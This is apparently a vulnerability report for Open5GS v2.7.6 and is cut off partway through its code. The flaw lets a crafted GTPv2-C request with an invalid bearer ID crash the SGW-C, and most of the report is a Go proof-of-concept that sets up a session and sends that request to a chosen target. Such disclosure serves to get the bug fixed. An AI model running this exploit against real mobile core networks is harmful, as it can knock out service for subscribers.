| Gaskiya | ### Open5GS Release, Revision, or Tag
v2.7.6
### Description
SGW-C can be forced to abort by sending a crafted GTPv2-C Create Indirect Data Forwarding Tunnel Request on S11 with an invalid EPS Bearer ID (EBI) that does not correspond to any existing bearer in the session.
### Steps to reproduce
1. Start a new go project inside a new folder: `go mod init poc`
2. Create a `main.go` and paste the code below:
```
package main
import (
"flag"
"fmt"
"log"
"math/rand"
"net"
"os"
"strings"
"sync/atomic"
"time"
"github.com/wmnsk/go-gtp/gtpv2"
"github.com/wmnsk/go-gtp/gtpv2/ie"
gtpv2msg "github.com/wmnsk/go-gtp/gtpv2/message"
)
// PB3-003 PoC: CreateIndirectDataForwardingTunnelRequest with invalid EBI triggers ogs_assert(bearer)
// Target: Open5GS SGW-C sgwc_s11_handle_create_indirect_data_forwarding_tunnel_request
// Flow:
// 1) Act as MME: send CreateSessionRequest to SGW-C (S11).
// 2) Act as PGW: respond to SGW-C's S5-C CreateSessionRequest (embedded mock or external).
// 3) Act as MME: send CreateIndirectDataForwardingTunnelRequest with invalid EBI -> bearer lookup NULL -> assert.
func main() {
runPGW := flag.Bool("run-pgw", true, "Start embedded PGW-C mock")
pgwBind := flag.String("pgw-bind", ":2123", "PGW-C listen address (host:port)")
pgwPAA := flag.String("pgw-paa", "x.x.x.x", "IPv4 PAA to return in CSR")
pgwDefEBI := flag.Uint("pgw-ebi", 5, "Default EPS Bearer ID to return if none in CSR")
pgwCtrlTeid := flag.Uint("pgw-ctrl-teid", 0, "PGW S5C TEID to advertise (0=random non-zero)")
pgwUpTeid := flag.Uint("pgw-up-teid", 0, "PGW S5U TEID to advertise (0=random non-zero)")
pgwIgnoreMBR := flag.Bool("pgw-ignore-mbr", false, "Do not respond to ModifyBearerRequest")
dumpSGWS5U := flag.String("dump-sgw-s5u", "", "Write SGW S5-U TEID/IP from CSR to file (optional)")
target := flag.String("target", "", "SGW-C S11 IP (required)")
port := flag.Int("port", 2123, "GTP-C port")
apn := flag.String("apn", "internet", "APN to request")
imsi := flag.String("imsi", "001011234567890", "IMSI to include in CSR")
mcc := flag.String("mcc", "001", "Serving network MCC")
mnc := flag.String("mnc", "01", "Serving network MNC")
sgwTEID := flag.Uint("sgw-teid", 0, "Skip CSR: use this SGW S11 TEID directly")
bearerEbi := flag.Uint("bearer-ebi", 5, "Existing bearer EBI when using --sgw-teid")
pgwIP := flag.String("pgw-ip", "", "PGW control-plane IP for S5/S8 (default: target)")
mmeTEID := flag.Uint("mme-teid", 0, "MME S11 TEID to advertise (0=random)")
pgwTEID := flag.Uint("pgw-teid", 0, "PGW S5/S8 TEID to advertise in CSR (0=random)")
enbIP := flag.String("enb-ip", "x.x.x.x", "eNB S1-U IPv4 for CSR and CreateIndirect")
enbTEID := flag.Uint("enb-teid", 0, "eNB S1-U TEID for CSR and CreateIndirect (0=random non-zero)")
laddr := flag.String("laddr", "", "Local IP to bind")
seq := flag.Uint("seq", 0, "Base GTPv2 sequence number (0=random)")
invalidEbi := flag.Uint("invalid-ebi", 6, "Invalid EBI for CreateIndirect (non-existent)")
flag.Parse()
if *target == "" {
log.Fatal("Error: --target is required")
}
if *invalidEbi > 255 {
log.Fatalf("invalid-ebi out of uint8 range: %d", *invalidEbi)
}
if *bearerEbi > 255 {
log.Fatalf("bearer-ebi out of uint8 range: %d", *bearerEbi)
}
rand.Seed(time.Now().UnixNano())
conn, localIP := dialGTPv2(*target, *port, *laddr)
defer conn.Close()
var uplaneCh chan uPlaneInfo
if *runPGW {
uplaneCh = make(chan uPlaneInfo, 1)
if *pgwIP == "" {
if host := hostFromAddrMaybe(*pgwBind); host != "" {
*pgwIP = host
}
}
if *pgwIP == "" {
*pgwIP = localIP
}
pgwConn, err := startPGWMock(*pgwBind, *pgwPAA, uint8(*pgwDefEBI), uint32(*pgwCtrlTeid), uint32(*pgwUpTeid), *pgwIgnoreMBR, *dumpSGWS5U, *pgwIP, uplaneCh)
if err != nil {
log.Fatalf("start PGW mock: %v", err)
}
defer pgwConn.Close()
time.Sleep(150 * time.Millisecond)
} else if *pgwIP == "" {
*pgwIP = *target
}
baseSeq := initBaseSeq(uint32(*seq))
mmeTeid := randNonZeroUint32(uint32(*mmeTEID))
pgwTeid := randNonZeroUint32(uint32(*pgwTEID))
enbTeid := randNonZeroUint32(uint32(*enbTEID))
sess := sessionInfo{
sgwTeid: uint32(*sgwTEID),
mmeTeid: mmeTeid,
ebi: uint8(*bearerEbi),
localIP: localIP,
}
seqVal := baseSeq
if sess.sgwTeid == 0 {
log.Printf("[*] Sending CreateSessionRequest seq=0x%x mme-teid=0x%x pgw-teid=0x%x", seqVal, mmeTeid, pgwTeid)
csr, err := buildCSR(seqVal, *imsi, *apn, localIP, *pgwIP, *mcc, *mnc, mmeTeid, pgwTeid, enbTeid, *enbIP, sess.ebi)
if err != nil {
log.Fatalf("build CSR: %v", err)
}
if err := sendMessage(conn, csr); err != nil {
log.Fatalf("send CSR: %v", err)
}
sgwTeid, ebi, err := waitCSRResponse(conn, 4*time.Second)
if err != nil {
log.Fatalf("wait CSR response: %v", err)
}
sess.sgwTeid = sgwTeid
sess.ebi = ebi
log.Printf("[+] SGW S11 TEID=0x%x (EBI=%d)", sess.sgwTeid, sess.ebi)
seqVal = nextSeq(seqVal)
} else {
log.Printf("[*] Using provided SGW S11 TEID=0x%x (EBI=%d)", sess.sgwTeid, sess.ebi)
}
if uint8(*invalidEbi) == sess.ebi {
log.Printf("[!] invalid-ebi equals existing bearer EBI (%d); change it to a non-existent value", sess.ebi)
}
if err := sendCreateIndirect(conn, sess, seqVal, uint8(*invalidEbi), enbTeid, *enbIP); err != nil {
log.Fatalf("send CreateIndirectDataForwardingTunnelRequest: %v", err)
}
log.Printf("[+] Sent CreateIndirectDataForwardingTunnelRequest seq=0x%x invalid-ebi=%d", seqVal, *invalidEbi)
log.Println("[*] Monitor SGW-C for PB3-003 assertion on invalid EBI.")
}
type sessionInfo struct {
sgwTeid uint32
mmeTeid uint32
ebi uint8
localIP string
}
type uPlaneInfo struct {
ip string
teid uint32
}
func dialGTPv2(target string, port int, laddr string) (*net.UDPConn, string) {
var lp *net.UDPAddr
if laddr != "" {
var err error
lp, err = net.ResolveUDPAddr("udp", net.JoinHostPort(laddr, "0"))
if err != nil {
log.Fatalf("resolve laddr: %v", err)
}
}
rp, err := net.ResolveUDPAddr("udp", net.JoinHostPort(target, fmt.Sprintf("%d", port)))
if err != nil {
log.Fatalf("resolve raddr: %v", err)
}
conn, err := net.DialUDP("udp", lp, rp)
if err != nil {
log.Fatalf("dial udp: %v", err)
}
localIP := ""
if udpAddr, ok := conn.LocalAddr().(*net.UDPAddr); ok && udpAddr.IP != nil {
localIP = udpAddr.IP.String()
}
if localIP == "" {
log.Fatal("local IP unknown (set --laddr)")
}
log.Printf("[*] Target %s (local %s)", rp, localIP)
return conn, localIP
}
func initBaseSeq(v uint32) uint32 {
if v != 0 {
return v
}
seq := rand.Uint32() & 0x00ffffff
if seq == 0 {
seq = 1
}
return seq
}
func nextSeq(v uint32) uint32 {
v++
if v == 0 || v > 0x00ffffff {
return 1
}
return v
}
func randNonZeroUint32(v uint32) uint32 {
if v != 0 {
return v
}
r := rand.Uint32()
if r == 0 {
return 1
}
return r
}
func buildCSR(seq uint32, imsi, apn, localIP, pgwIP, mcc, mnc string, mmeTEID, pgwTEID, enbTEID uint32, enbIP string, ebi uint8) (*gtpv2msg.CreateSessionRequest, error) {
if localIP == "" || pgwIP == "" || enbIP == "" {
return nil, fmt.Errorf("missing local, PGW, or eNB IP")
}
senderFTEID := ie.NewFullyQualifiedTEID(gtpv2.IFTypeS11MMEGTPC, mmeTEID, localIP, "")
pgwFTEID := ie.NewFullyQualifiedTEID(gtpv2.IFTypeS5S8PGWGTPC, pgwTEID, pgwIP, "").WithInstance(1)
enbFTEID := ie.NewFullyQualifiedTEID(gtpv2.IFTypeS1UeNodeBGTPU, enbTEID, enbIP, "")
bearer := ie.NewBearerContext(
ie.NewEPSBearerID(ebi),
enbFTEID,
ie.NewBearerQoS(1, 2, 1, 9, 50000, 50000, 50000, 50000),
)
return gtpv2msg.NewCreateSessionRequest(
0, seq,
ie.NewIMSI(imsi),
ie.NewMSISDN("0000000000"),
ie.NewMobileEquipmentIdentity("353490061234560"),
ie.NewServingNetwork(mcc, mnc),
ie.NewRATType(gtpv2.RATTypeEUTRAN),
ie.NewPDNType(gtpv2.PDNTypeIPv4),
ie.NewSelectionMode(gtpv2.SelectionModeMSorNetworkProvidedAPNSubscribedVerified),
ie.NewAccessPointName(apn),
ie.NewAggregateMaximumBitRate(500000, 500000),
senderFTEID,
pgwFTEID,
bearer,
), nil
}
func waitCSRResponse(conn *net.UDPConn, timeout time.Duration) (uint32, uint8, error) {
buf := make([]byte, 2048)
_ = conn.SetReadDeadline(time.Now().Add(timeout))
n, err := conn.Read(buf)
_ = conn.SetReadDeadline(time.Time{})
if err != nil {
return 0, 0, fmt.Errorf("read CSR response: %w", err)
}
msg, err := gtpv2msg.Parse(buf[:n])
if err != nil {
return 0, 0, fmt.Errorf("parse CSR response: %w", err)
}
res, ok := msg.(*gtpv2msg.CreateSessionResponse)
if !ok {
return 0, 0, fmt.Errorf("unexpected message type %T", msg)
}
if res.Cause == nil {
return 0, 0, fmt.Errorf("no Cause IE in response")
}
cause, err := res.Cause.Cause()
if err != nil {
return 0, 0, fmt.Errorf("parse Cause: %w", err)
}
if cause != gtpv2.CauseRequestAccepted && cause != gtpv2.CauseRequestAcceptedPartially {
return 0, 0, fmt.Errorf("CSR rejected: cause=%d", cause)
}
if res.SenderFTEIDC == nil {
return 0, 0, fmt.Errorf("no SGW S11 F-TEID in response")
}
sgwTeid, err := res.SenderFTEIDC.TEID()
if err != nil {
return 0, 0, fmt.Errorf("parse SGW TEID: %w", err)
}
ebi := uint8(0)
if res.EBI != nil {
if v, err := res.EBI.EPSBearerID(); err == nil {
ebi = v
}
}
if ebi == 0 {
for _, b := range res.BearerContextsCreated {
if v, err := b.EPSBearerID(); err == nil {
ebi = v
break
}
}
}
if ebi == 0 {
ebi = 5
}
return sgwTeid, ebi, nil
}
func sendMessage(conn *net.UDPConn, msg gtpv2msg.Message) error {
b, err := gtpv2msg.Marshal(msg)
if err != nil {
return fmt.Errorf("marshal %s: %w", msg.MessageTypeName(), err)
}
if _, err := conn.Write(b); err != nil {
return fmt.Errorf("send %s: %w", msg.MessageTypeName(), err)
}
retur |
|---|